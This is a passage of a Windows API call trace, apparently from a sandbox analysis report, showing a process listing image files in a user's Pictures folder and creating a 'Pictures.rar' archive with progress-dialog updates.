cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="Camera Roll\\desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="9BtQRHA1y.gif", cchCount1=-1, lpString2="Cg4L5J0Hp5g.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="Cg4L5J0Hp5g.bmp", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="HPs4cKd.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="HPs4cKd.bmp", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="hh1Bz.png", cchCount1=-1, lpString2="gTXyE1NkEEb.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="hh1Bz.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="c9ZaReaCiTG.png", cchCount1=-1, lpString2="H7Jzn2.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="awTUht89JcK2K D7j9i.png", cchCount1=-1, lpString2="H6PwCN3oyZKOwFQ.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.265] CompareStringOrdinal (lpString1="H6PwCN3oyZKOwFQ.png", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.265] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="hh1Bz.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.266] CompareStringOrdinal (lpString1="hh1Bz.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.266] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="gTXyE1NkEEb.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.266] CompareStringOrdinal (lpString1="H7Jzn2.png", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.266] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084630c0 | out: hHeap=0x28b08430000) returned 1 [0062.266] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0b81e040 [0062.268] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10c0) returned 0x28b08502740 [0062.268] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10c0) returned 0x28b08506280 [0062.268] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10000) returned 0x28b08507350 [0062.268] CryptAcquireContextW (in: phProv=0xf00f8dd5c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd5c0*=0x28b084f5440) returned 1 [0062.520] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd640 | out: pbBuffer=0xf00f8dd640) returned 1 [0062.520] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0062.520] GetSystemTime (in: lpSystemTime=0xf00f8dd558 | out: lpSystemTime=0xf00f8dd558*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x6)) [0062.520] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd558, lpFileTime=0xf00f8dd550 | out: lpFileTime=0xf00f8dd550) returned 1 [0062.520] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd580 | out: lpPerformanceCount=0xf00f8dd580*=15384843085) returned 1 [0062.520] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0b92b040 [0062.522] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10c0) returned 0x28b08517360 [0062.522] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10c0) returned 0x28b08518430 [0062.522] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10000) returned 0x28b0a22fdf0 [0062.523] CryptAcquireContextW (in: phProv=0xf00f8dd5c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd5c0*=0x28b084f5440) returned 1 [0062.523] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd640 | out: pbBuffer=0xf00f8dd640) returned 1 [0062.523] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0062.523] GetSystemTime (in: lpSystemTime=0xf00f8dd558 | out: lpSystemTime=0xf00f8dd558*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x6)) [0062.523] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd558, lpFileTime=0xf00f8dd550 | out: lpFileTime=0xf00f8dd550) returned 1 [0062.523] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd580 | out: lpPerformanceCount=0xf00f8dd580*=15385165545) returned 1 [0062.523] CreateFileW (lpFileName="Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0062.523] GetLastError () returned 0x2 [0062.523] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xf00f8da520 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0062.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0062.524] GetLastError () returned 0x2 [0062.524] CreateFileW (lpFileName="Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.525] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x20d, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="Creating archive %s") returned 0x13 [0062.525] GetLastError () returned 0x0 [0062.525] SetLastError (dwErrCode=0x0) [0062.525] SetDlgItemTextW (hDlg=0x102be, nIDDlgItem=165, lpString="Pictures.rar") returned 1 [0062.525] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8da950, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.525] SetWindowTextW (hWnd=0x102be, lpString="Creating archive Pictures.rar") returned 1 [0062.529] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0062.529] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8d9500, nMaxCount=2560 | out: lpString="41 files found") returned 14 [0062.529] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0062.529] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8d9500, nMaxCount=2560 | out: lpString="") returned 0 [0062.529] GetTickCount () returned 0x258e4 [0062.529] UpdateWindow (hWnd=0x102be) returned 1 [0062.529] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8db500*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8db500*=0) returned 0x0 [0062.529] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d7be0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d7be0*=0) returned 0x0 [0062.529] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0062.529] WriteFile (in: hFile=0x32c, lpBuffer=0xf00f8e2d30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf00f8d6260, lpOverlapped=0x0 | out: lpBuffer=0xf00f8e2d30*, lpNumberOfBytesWritten=0xf00f8d6260*=0x8, lpOverlapped=0x0) returned 1 [0062.530] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f720 | out: hHeap=0x28b08430000) returned 1 [0062.530] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d7be0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d7be0*=0) returned 0x8 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0062.530] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0062.530] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fbd0 | out: hHeap=0x28b08430000) returned 1 [0062.530] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a22fab3*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0xf00f8d6220, lpOverlapped=0x0 | out: lpBuffer=0x28b0a22fab3*, lpNumberOfBytesWritten=0xf00f8d6220*=0x11, lpOverlapped=0x0) returned 1 [0062.530] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0062.530] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b08462cd0 [0062.530] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462cd0 | out: hHeap=0x28b08430000) returned 1 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6328) returned 0x28b08519500 [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x358) returned 0x28b08500480 [0062.530] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x338 [0062.530] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x33c [0062.530] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x40000) returned 0x28b0a23fe00 [0062.531] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x358) returned 0x28b085007e0 [0062.531] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x340 [0062.531] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x344 [0062.531] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xe980) returned 0x28b0ba30080 [0062.532] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8003) returned 0x28b0851f830 [0062.533] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8003) returned 0x28b0a27fe10 [0062.534] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x358) returned 0x28b08500b40 [0062.534] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x348 [0062.534] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x34c [0062.535] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0bc3c040 [0062.538] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x46c8) returned 0x28b0a287e20 [0062.538] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0bd4e040 [0062.540] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x41011) returned 0x28b0ba3ea10 [0062.555] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4000) returned 0x28b08527840 [0062.556] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x80000) returned 0x28b0ba7fa30 [0062.557] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0be51040 [0062.654] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x80000) returned 0x28b0baffa40 [0062.656] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x40000) returned 0x28b0bb7fa50 [0062.656] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x910a0) returned 0x28b0bf60080 [0062.681] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xe0000) returned 0x28b0bff1130 [0062.831] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0c36b040 [0062.833] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8090) returned 0x28b0bbbfa60 [0062.834] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8090) returned 0x28b0bbc7b00 [0062.834] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8090) returned 0x28b0bbcfba0 [0062.834] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8090) returned 0x28b0bbd7c40 [0062.834] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x200000) returned 0x28b0c47c040 [0062.957] FindFirstFileW (in: lpFileName="17Kei.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b084f6c30 [0062.957] FindClose (in: hFindFile=0x28b084f6c30 | out: hFindFile=0x28b084f6c30) returned 1 [0062.957] CreateFileW (lpFileName="17Kei.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\17kei.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0062.957] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0062.957] GetTickCount () returned 0x25a8a [0062.957] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd160 | out: lpPerformanceCount=0xf00f8dd160*=15428579620) returned 1 [0062.957] GetLastError () returned 0x0 [0062.957] SetLastError (dwErrCode=0x0) [0062.957] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0062.957] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0062.957] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbd40, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0062.957] ShowWindow (hWnd=0x102ca, nCmdShow=9) returned 1 [0062.957] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0062.958] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0062.958] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0062.958] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="41 files found") returned 14 [0062.958] SetWindowTextW (hWnd=0x102c4, lpString="adding") returned 1 [0062.959] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0062.959] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="") returned 0 [0062.959] SetWindowTextW (hWnd=0x102c6, lpString="17Kei.bmp") returned 1 [0062.960] GetTickCount () returned 0x25a8a [0062.960] UpdateWindow (hWnd=0x102be) returned 1 [0062.960] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0062.962] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0062.962] GetFocus () returned 0x102e2 [0062.963] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 0 [0062.963] GetKeyState (nVirtKey=16) returned 0 [0062.963] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8dd5e0) returned 0 [0062.963] TranslateMessage (lpMsg=0xf00f8dd5e0) returned 0 [0062.963] DispatchMessageW (lpMsg=0xf00f8dd5e0) returned 0x0 [0062.963] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0062.963] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0062.963] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0062.963] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x1bc)) [0062.963] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0062.963] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15429182027) returned 1 [0062.963] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xc38) returned 0x28b08503810 [0062.963] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xbece, lpOverlapped=0x0) returned 1 [0062.973] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b717f0e, nNumberOfBytesToRead=0xf4132, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b717f0e*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0062.973] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0062.973] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0062.973] GetFocus () returned 0x102e2 [0062.973] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 0 [0062.973] GetKeyState (nVirtKey=16) returned 0 [0062.973] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8dd540) returned 0 [0062.973] TranslateMessage (lpMsg=0xf00f8dd540) returned 0 [0062.973] DispatchMessageW (lpMsg=0xf00f8dd540) returned 0x0 [0062.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.973] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0062.973] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7b0 [0062.973] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7b0, Size=0x48) returned 0x28b084f9700 [0062.973] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0062.974] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f780 [0062.974] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f780, Size=0x48) returned 0x28b084f9980 [0062.974] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0062.974] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0062.974] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0062.974] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f750 [0062.974] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f750 | out: hHeap=0x28b08430000) returned 1 [0062.974] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd80 | out: hHeap=0x28b08430000) returned 1 [0062.974] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f9020 [0062.974] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9020, Size=0x7a) returned 0x28b084ed6d0 [0062.974] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0062.974] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed6d0 | out: hHeap=0x28b08430000) returned 1 [0062.974] GetTickCount () returned 0x25a99 [0062.974] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15430284429) returned 1 [0062.974] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0062.974] GetTickCount () returned 0x25a99 [0062.974] GetLastError () returned 0x0 [0062.974] SetLastError (dwErrCode=0x0) [0062.974] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0062.974] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc0c0, nMaxCount=2560 | out: lpString="") returned 0 [0062.974] SetWindowTextW (hWnd=0x102d0, lpString="00:00:00") returned 1 [0062.975] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0062.975] GetTickCount () returned 0x25a99 [0062.975] GetDlgItem (hDlg=0x102be, nIDDlgItem=162) returned 0x102d2 [0062.975] ShowWindow (hWnd=0x102d2, nCmdShow=0) returned 1 [0062.977] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0062.977] ShowWindow (hWnd=0x102d4, nCmdShow=0) returned 1 [0062.977] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0062.977] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc0c0, nMaxCount=2560 | out: lpString="") returned 0 [0062.977] GetTickCount () returned 0x25a99 [0062.978] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22f960) returned 0x0 [0062.978] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f960, hwnd=0x102be, tbpFlags=2) returned 0x0 [0062.978] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f960, hwnd=0x102be, ullCompleted=0xbece, ullTotal=0x2141be) returned 0x0 [0062.979] TaskbarList:IUnknown:Release (This=0x28b0a22f960) returned 0x0 [0062.980] GetLastError () returned 0x36b7 [0062.980] SetLastError (dwErrCode=0x36b7) [0062.980] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0062.980] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0062.980] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0062.980] SetWindowTextW (hWnd=0x102de, lpString=" 2%") returned 1 [0062.980] GetLastError () returned 0x0 [0062.981] SetLastError (dwErrCode=0x0) [0062.981] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0062.981] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0062.981] ShowWindow (hWnd=0x102e0, nCmdShow=9) returned 1 [0062.981] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x0 [0062.981] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0062.981] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0062.981] GetFocus () returned 0x102e2 [0062.981] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0062.981] GetPropW (hWnd=0x102be, lpString="Done") returned 0x0 [0062.981] BeginPaint (in: hWnd=0x102be, lpPaint=0xf00f8db7b0 | out: lpPaint=0xf00f8db7b0) returned 0x501082c [0062.981] GetLastError () returned 0x2 [0062.981] SetLastError (dwErrCode=0x2) [0062.981] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0062.981] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0062.981] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8d9a40, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0062.981] ShowWindow (hWnd=0x102ca, nCmdShow=9) returned 1 [0062.981] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0062.982] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dae78 | out: ppv=0xf00f8dae78*=0x28b0a22f630) returned 0x0 [0062.982] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f630, hwnd=0x102be, tbpFlags=2) returned 0x0 [0062.983] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f630, hwnd=0x102be, ullCompleted=0xbece, ullTotal=0x2141be) returned 0x0 [0062.983] TaskbarList:IUnknown:Release (This=0x28b0a22f630) returned 0x0 [0062.983] GetLastError () returned 0x36b7 [0062.983] SetLastError (dwErrCode=0x36b7) [0062.983] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0062.983] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0062.983] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8d9a40, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0062.983] GetLastError () returned 0x36b7 [0062.983] SetLastError (dwErrCode=0x36b7) [0062.983] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0062.983] GetWindowTextW (in: hWnd=0x102da, 